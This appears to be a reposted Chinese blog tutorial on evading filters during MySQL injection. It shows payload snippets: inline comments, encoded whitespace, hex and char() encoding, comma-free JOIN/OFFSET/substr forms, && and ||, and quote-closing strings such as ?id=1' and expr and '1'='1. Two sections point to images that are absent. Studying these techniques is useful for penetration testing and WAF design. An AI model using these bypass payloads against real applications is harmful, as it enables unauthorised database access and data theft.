当前位置: 首页 > article >正文

MySQL注入秘籍【绕过篇】

MySQL注入秘籍【绕过篇】

  • 1.通用方法
  • 2.绕过空格
  • 3.绕过引号
  • 4.绕过逗号,
  • 5.绕过等号=
  • 6.绕过and/or
  • 7.绕过注释符
  • 8.绕过函数检测

1.通用方法

编码

编码无非就是hex、url等等编码,让传到数据库的数据能够解析的即可,比如URL编码一般在传给业务的时候就会自动解码

内联注释

可以插到括号中,但是必须要保证单词的完整

select 1/*!union*/select 2;
select /*!user(*/);
/*!41320select/*!/*!10000user/*!(/*!/*!/*!*/);

2.绕过空格

空格被过滤的情况,可以用如下的一些手法:

  1. 使用注释符
select/**/user();
select/*hahaha*/user();
  1. URL编码空格

使用URL编码 + 编码空格

  1. 其他URL编码(换行、Tab等)
%0d、%0a、%09%0b、%a0
  1. 使用括号

括号是用来包围子查询的;因此任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格

select(user())from(t_user);
  1. and/or后面的空格需要绕过

如果是and/or后面的空格需要绕过的话,可以跟上奇或者偶数个!、~来替代空格,也可以混合使用(规律有不同,可以自己本地尝试),and/or前的空格可用省略

select * from user where username="test"and!!!1=1;
select * from user where username="test"and~~~~1=1;
select * from user where username="test"and~~!!!~~1=1;

也可以用+、-来替代空格,and后有偶数个-即可,+的个数随意

select * from user where username="test"and------1=1;
select * from user where username="test"and+++---+++---+++1=1;

3.绕过引号

十六进制hex()

单/双引号被过滤,一般采用16进制绕过

例如:

-- 原语句
select table_name from information_schema.tables where table_schema='test';
-- 16进制后
select table_name from information_schema.tables where table_schema=0x74657374;

char()

除了上面的十六进制外,还可以用char函数连接起来

select table_name from information_schema.tables where table_schema='test';
-- char后
select table_name from information_schema.tables where table_schema=char(116,101,115,116);

4.绕过逗号,

针对普通情况(使用join)

-- 原语句
select user(),database();

-- 绕过
select * from (select user())a join (select database())b;

针对limit(使用offset)

-- 原语句
select * from t_user limit 1,1
-- 绕过
select * from t_user limit 1 offset 1;

针对切割函数

-- 原语句
select substr(username,1,1) from t_user;
-- 绕过
select substr(username from 1 for 1) from t_user;

5.绕过等号=

过滤了等号或者相关的匹配符,可以采用如下的一些手法来绕过

在这里插入图片描述


6.绕过and/or

因为and和or主要也是起到连接我们拼接语句的作用,那我们找其他类似功能的算术符等即可

select 1 && 0;
select 1 || 0;

7.绕过注释符

对注释符过滤的情况下,对我们来说问题可能就是语句不能正常执行

解决办法也很简单,用完整语句给他闭合就OK了,其他语句类似

# 原始
?id=1
# 完整闭合
?id=1' and expr and '1'='1

8.绕过函数检测

一些函数如ascii等被过滤,可以使用等价的函数进行绕过,如

在这里插入图片描述

版权声明:本文教程基于d4m1ts博客


http://www.kler.cn/a/2315.html

相关文章:

  • 【项目开发 | 跨域认证】JSON Web Token(JWT)
  • MySQL远程连接错误解决:Host is not allowed to connect to this MySQL server
  • Spring Boot 核心配置文件
  • linux,1.NFS和autofs,2.podman容器,3.http服务和虚拟web主机,4.内网DNS服务搭建
  • Python酷库之旅-第三方库Pandas(206)
  • 【go从零单排】通道select、通道timeout、Non-Blocking Channel Operations非阻塞通道操作
  • 【Java Spring基本问题】记录面试题宝典中自己不熟悉的Spring问题
  • Java现在好找工作吗?
  • C语言运算符和表达式
  • python基于XGBoost开发构建海上船舶航行轨迹多变量序列预测分析模型
  • 一个比较全面的C#公共帮助类
  • AWS白皮书 – 卓越操作
  • 低代码平台如何选型, 43款国内外低代码平台一网打尽
  • Vue项目预渲染
  • 【网络安全工程师】从零基础到进阶,看这一篇就够了
  • 多标签损失之Hamming Loss(PyTorch和sklearn)、Focal Loss、交叉熵和ASL损失
  • iOS中.podspec文件中source_files参数怎么设置
  • Markdown如何使用详细教程
  • Vue2源码-初始化
  • 算法练习-堆
  • 【数据结构与算法】用栈实现队列
  • STM32学习(五)
  • SpringBoot基础教程
  • 数据结构——栈和队列(2)
  • 基于SpringBoot的学生成绩管理系统
  • 第十四届蓝桥杯三月真题刷题训练——第 18 天